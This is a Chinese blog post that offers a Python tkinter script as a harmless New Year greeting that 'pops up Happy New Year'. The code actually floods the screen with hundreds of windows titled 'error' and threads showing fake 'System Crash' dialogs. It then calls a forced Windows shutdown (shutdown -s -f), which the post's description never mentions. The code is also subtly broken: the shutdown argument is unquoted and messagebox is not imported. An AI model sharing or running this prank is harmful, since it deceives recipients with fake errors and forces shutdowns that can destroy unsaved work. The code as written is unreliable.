当前位置:   article > 正文

python做新年快乐_新年快乐python

新年快乐python
 使用os tkinter random threading time库运行结果为在桌面上弹出新年快乐

代码

import os
import tkinter as tk
import random
import threading
import time

def boom():
    window = tk.Tk()
    width = window.winfo_screenwidth()
    height = window.winfo_screenheight()
    a = random.randrange(0, width)
    b = random.randrange(0, height)
    window.title('error')
    window.geometry("200x50" + "+" + str(a) + "+" + str(b))
    tk.Label(window, text='新年快乐!', bg='red',
             font=('楷体', 17), width=20, height=4).pack()
    window.mainloop()

def sd():
    tk.messagebox.showerror('System Crash','windows error!please try again!')


for i in range(100):
    threading.Thread(target=boom).start()
    threading.Thread(target=boom).start()
    threading.Thread(target=boom).start()
    threading.Thread(target=sd).start()
 

os.system(shutdown -s -f)
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/681982
推荐阅读
相关标签
  

闽ICP备14008679号